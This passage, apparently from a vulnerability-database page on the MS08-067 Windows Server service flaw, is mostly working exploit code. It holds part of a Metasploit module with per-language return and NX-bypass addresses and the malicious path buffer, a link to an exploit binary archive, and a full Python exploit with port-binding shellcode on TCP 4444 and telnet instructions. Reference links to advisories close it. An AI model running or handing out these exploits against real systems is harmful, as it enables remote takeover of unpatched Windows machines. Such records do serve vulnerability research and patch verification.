0x58fc16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Chinese - Traditional (NX)', { 'Ret' => 0x5860f727, 'DisableNX' => 0x586116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Czech (NX)', { 'Ret' => 0x6fe1f727, 'DisableNX' => 0x6fe216e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Danish (NX)', { 'Ret' => 0x5978f727, 'DisableNX' => 0x597916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 German (NX)', { 'Ret' => 0x6fd9f727, 'DisableNX' => 0x6fda16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Greek (NX)', { 'Ret' => 0x592af727, 'DisableNX' => 0x592b16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Spanish (NX)', { 'Ret' => 0x6fdbf727, 'DisableNX' => 0x6fdc16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Finnish (NX)', { 'Ret' => 0x597df727, 'DisableNX' => 0x597e16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 French (NX)', { 'Ret' => 0x595bf727, 'DisableNX' => 0x595c16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Hebrew (NX)', { 'Ret' => 0x5940f727, 'DisableNX' => 0x594116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Hungarian (NX)', { 'Ret' => 0x5970f727, 'DisableNX' => 0x597116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Italian (NX)', { 'Ret' => 0x596bf727, 'DisableNX' => 0x596c16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Japanese (NX)', { 'Ret' => 0x567fd3be, 'DisableNX' => 0x568016e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Korean (NX)', { 'Ret' => 0x6fd6f727, 'DisableNX' => 0x6fd716e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Dutch (NX)', { 'Ret' => 0x596cf727, 'DisableNX' => 0x596d16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Norwegian (NX)', { 'Ret' => 0x597cf727, 'DisableNX' => 0x597d16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Polish (NX)', { 'Ret' => 0x5941f727, 'DisableNX' => 0x594216e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Portuguese - Brazilian (NX)', { 'Ret' => 0x596ff727, 'DisableNX' => 0x597016e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Portuguese (NX)', { 'Ret' => 0x596bf727, 'DisableNX' => 0x596c16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Russian (NX)', { 'Ret' => 0x6fe1f727, 'DisableNX' => 0x6fe216e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Swedish (NX)', { 'Ret' => 0x597af727, 'DisableNX' => 0x597b16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Turkish (NX)', { 'Ret' => 0x5a78f727, 'DisableNX' => 0x5a7916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Arabic (NX)', { 'Ret' => 0x6fd8f807, 'DisableNX' => 0x6fd917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)', { 'Ret' => 0x5860f807, 'DisableNX' => 0x586117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Chinese - Simplified (NX)', { 'Ret' => 0x58fbf807, 'DisableNX' => 0x58fc17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Chinese - Traditional (NX)', { 'Ret' => 0x5860f807, 'DisableNX' => 0x586117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Czech (NX)', { 'Ret' => 0x6fe1f807, 'DisableNX' => 0x6fe217c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Danish (NX)', { 'Ret' => 0x5978f807, 'DisableNX' => 0x597917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 German (NX)', { 'Ret' => 0x6fd9f807, 'DisableNX' => 0x6fda17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Greek (NX)', { 'Ret' => 0x592af807, 'DisableNX' => 0x592b17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Spanish (NX)', { 'Ret' => 0x6fdbf807, 'DisableNX' => 0x6fdc17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Finnish (NX)', { 'Ret' => 0x597df807, 'DisableNX' => 0x597e17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 French (NX)', { 'Ret' => 0x595bf807, 'DisableNX' => 0x595c17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Hebrew (NX)', { 'Ret' => 0x5940f807, 'DisableNX' => 0x594117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Hungarian (NX)', { 'Ret' => 0x5970f807, 'DisableNX' => 0x597117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Italian (NX)', { 'Ret' => 0x596bf807, 'DisableNX' => 0x596c17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Japanese (NX)', { 'Ret' => 0x567fd4d2, 'DisableNX' => 0x568017c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Korean (NX)', { 'Ret' => 0x6fd6f807, 'DisableNX' => 0x6fd717c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Dutch (NX)', { 'Ret' => 0x596cf807, 'DisableNX' => 0x596d17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Norwegian (NX)', { 'Ret' => 0x597cf807, 'DisableNX' => 0x597d17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Polish (NX)', { 'Ret' => 0x5941f807, 'DisableNX' => 0x594217c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Portuguese - Brazilian (NX)', { 'Ret' => 0x596ff807, 'DisableNX' => 0x597017c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Portuguese (NX)', { 'Ret' => 0x596bf807, 'DisableNX' => 0x596c17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Russian (NX)', { 'Ret' => 0x6fe1f807, 'DisableNX' => 0x6fe217c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Swedish (NX)', { 'Ret' => 0x597af807, 'DisableNX' => 0x597b17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Turkish (NX)', { 'Ret' => 0x5a78f807, 'DisableNX' => 0x5a7917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # # Missing Targets # Key: T=TODO ?=UNKNOWN U=UNRELIABLE # # [?] Windows Vista SP0 - Not tested yet # [?] Windows Vista SP1 - Not tested yet # ], 'DisclosureDate' => 'Oct 28 2008')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), ], self.class) end =begin *** WINDOWS XP SP2/SP3 TARGETS *** This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX for the process and then returns back to a call ESI instruction. These addresses are different between operating systems, service packs, and language packs, but the steps below can be used to add new targets. If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and DisableNX elements of the target hash. If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. First obtain the value for the Ret element of the hash with the following command: $ msfpescan -j esi acgenral.dll Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. Next, find the location of the function we use to disable NX. Use the following command: $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll This address should be placed into the DisableNX element of the target hash. The Scratch element of 0x00020408 should work on all versions of Windows The actual function we use to disable NX looks like this: push 4 lea eax, [ebp+arg_0] push eax push 22h push 0FFFFFFFFh mov [ebp+arg_0], 2 call ds:__imp__NtSetInformationProcess@16 *** WINDOWS XP NON-NX TARGETS *** Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short jump, and finally the shellcode. *** WINDOWS 2003 SP2 TARGETS *** There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, both of these are inside NTDLL.DLL and use a return method that is not directly compatible with our call stack. To solve this, Brett Moore figured out a multi-step return call chain that eventually leads to the NX bypass function. *** WINDOWS 2000 TARGETS *** No NX to bypass, just return directly to a "JMP EDX", which takes us to the short jump, and finally the shellcode. *** WINDOWS VISTA TARGETS *** Currently untested, will involve ASLR and NX, should be fun. *** NetprPathCanonicalize IDL *** NET_API_STATUS NetprPathCanonicalize( [in, string, unique] SRVSVC_HANDLE ServerName, [in, string] WCHAR* PathName, [out, size_is(OutbufLen)] unsigned char* Outbuf, [in, range(0,64000)] DWORD OutbufLen, [in, string] WCHAR* Prefix, [in, out] DWORD* PathType, [in] DWORD Flags ); =end def exploit connect() smb_login() # Use a copy of the target mytarget = target if(target['auto']) mytarget = nil print_status("Automatically detecting the target...") fprint = smb_fingerprint() print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}") # Bail early on unknown OS if(fprint['os'] == 'Unknown') raise RuntimeError, "No matching target" end # Windows 2000 is mostly universal if(fprint['os'] == 'Windows 2000') mytarget = self.targets[1] end # Windows XP SP0/SP1 is mostly universal if(fprint['os'] == 'Windows XP' and fprint['sp'] == "Service Pack 0 / 1") mytarget = self.targets[2] end # Windows 2003 SP0 is mostly universal if(fprint['os'] == 'Windows 2003' and fprint['sp'] == "No Service Pack") mytarget = self.targets[5] end # Windows 2003 R2 is treated the same as 2003 if(fprint['os'] == 'Windows 2003 R2') fprint['os'] = 'Windows 2003' end # Service Pack match must be exact if((not mytarget) and fprint['sp'].index('+')) print_error("Could not determine the exact service pack") print_status("Auto-targeting failed, use 'show targets' to manually select one") disconnect return end # Language Pack match must be exact or we default to English if((not mytarget) and fprint['lang'] == 'Unknown') print_status("We could not detect the language pack, defaulting to English") fprint['lang'] = 'English' end # Normalize the service pack string fprint['sp'].gsub!(/Service Pack\s+/, 'SP') if(not mytarget) self.targets.each do |t| if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/) mytarget = t break end end end if(not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") end # # Build the malicious path name # padder = [*("A".."Z")] pad = "A" while(pad.length < 7) c = padder[rand(padder.length)] next if pad.index(c) pad += c end prefix = "\\" path = "" server = Rex::Text.rand_text_alpha(rand(8)+1).upcase # # Windows 2000, XP (NX), and 2003 (NO NX) mytargets # if(not mytarget['RetDec']) jumper = Rex::Text.rand_text_alpha(70).upcase jumper[ 4,4] = [mytarget.ret].pack("V") jumper[50,8] = make_nops(8) jumper[58,2] = "\xeb\x62" path = Rex::Text.to_unicode("\\") + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + # Shellcode payload.encoded + # Relative path to trigger the bug Rex::Text.to_unicode("\\..\\..\\") + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) [mytarget['Scratch']].pack("V") + # EBP # Return to code which disables NX (or just the return) [ mytarget['DisableNX'] || mytarget.ret ].pack("V") + # Padding with embedded jump jumper + # NULL termination "\x00" * 2 # # Windows 2003 SP2 (NX) mytargets # else jumper = Rex::Text.rand_text_alpha(70).upcase jumper[ 0,4] = [mytarget['RetDec']].pack("V")# one more to Align and make room jumper[ 4,4] = [mytarget['RetDec']].pack("V") # 4 more for space jumper[ 8,4] = [mytarget['RetDec']].pack("V") jumper[ 12,4] = [mytarget['RetDec']].pack("V") jumper[ 16,4] = [mytarget['RetDec']].pack("V") jumper[ 20,4] = [mytarget['RetPop']].pack("V")# pop to EBP jumper[ 24,4] = [mytarget['DisableNX']].pack("V") jumper[ 56,4] = [mytarget['JmpESP']].pack("V") jumper[ 60,4] = [mytarget['JmpESP']].pack("V") jumper[ 64,2] = "\xeb\x02" # our jump jumper[ 68,2] = "\xeb\x62" # original path = Rex::Text.to_unicode("\\") + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + # Shellcode payload.encoded + # Relative path to trigger the bug Rex::Text.to_unicode("\\..\\..\\") + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) [mytarget['Scratch']].pack("V") + # EBP # Return to code which disables NX (or just the return) [mytarget['RetDec']].pack("V") + # Padding with embedded jump jumper + # NULL termination "\x00" * 2 end handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) dcerpc_bind(handle) stub = NDR.uwstring(server) + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(1024)) + NDR.wstring(prefix) + NDR.long(4097) + NDR.long(0) # NOTE: we don't bother waiting for a response here... print_status("Attempting to trigger the vulnerability...") dcerpc.call(0x1f, stub, false) # Cleanup handler disconnect end end
Exploit Database EDB-ID : 6841

Date de publication : 2008-10-25 22h00 +00:00
Auteur : EMM
EDB Vérifié : Yes

MS08-067 Exploit for CN by EMM exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6841.rar (2008-MS08-067.rar) # milw0rm.com [2008-10-26]
Exploit Database EDB-ID : 7132

Date de publication : 2008-11-15 23h00 +00:00
Auteur : Debasis Mohanty
EDB Vérifié : Yes

#!/usr/bin/env python ############################################################################# # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) # www.hackingspirits.com # www.coffeeandsecurity.com # Email: d3basis.m0hanty @ gmail.com # # E-DB Note: Exploit Update ~ https://github.com/offensive-security/exploitdb/pull/77/files#diff-5247d21ae6747fa8543ef0ba9c06c0e2 ############################################################################# import struct import sys from threading import Thread #Thread is imported incase you would like to modify #the src to run against multiple targets. try: from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) print '#######################################################################' print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)' print '# www.hackingspirits.com' print '# www.coffeeandsecurity.com' print '# Email: d3basis.m0hanty @ gmail.com' print '#######################################################################\n' #Portbind shellcode from metasploit; Binds port to TCP port 4444 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" #Payload for Windows 2000 target payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41' payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\xeb\xcc' payload_1+='\x00\x00' #Payload for Windows 2003[SP2] target payload_2='\x41\x00\x5c\x00' payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00' payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77' payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00' payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae' payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00' payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43' payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff' payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75' payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5' payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6' payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00' if sys.argv[2]=='1': #Windows 2000 Payload payload=payload_1 print '[-]Windows 2000 payload loaded' if sys.argv[2]=='2': #Windows 2003[SP2] Payload payload=payload_2 print '[-]Windows 2003[SP2] payload loaded' class SRVSVC_Exploit(Thread): def __init__(self, target, osver, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.osver = osver def __DCEPacket(self): print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) # Constructing Malicious Packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...' if __name__ == '__main__': try: target = sys.argv[1] osver = sys.argv[2] except IndexError: print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0] print 'Example: srvsvcexpl.py 192.168.1.1 2\n' print 'Select OS Version' print '[-]Windows 2000: OS Version = 1' print '[-]Windows 2003[SP2]: OS Version = 2' sys.exit(-1) current = SRVSVC_Exploit(target, osver) current.start() #print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...' # milw0rm.com [2008-11-16]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Références

http://marc.info/?l=bugtraq&m=122703006921213&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/32326
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/827267
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securitytracker.com/id?1021091
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/7132
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/6841
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/31874
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=122703006921213&w=2
Tags : vendor-advisory, x_refsource_HP
https://www.exploit-db.com/exploits/6824
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2008/2902
Tags : vdb-entry, x_refsource_VUPEN
http://www.us-cert.gov/cas/techalerts/TA08-297A.html
Tags : third-party-advisory, x_refsource_CERT
https://www.exploit-db.com/exploits/7104
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.us-cert.gov/cas/techalerts/TA09-088A.html
Tags : third-party-advisory, x_refsource_CERT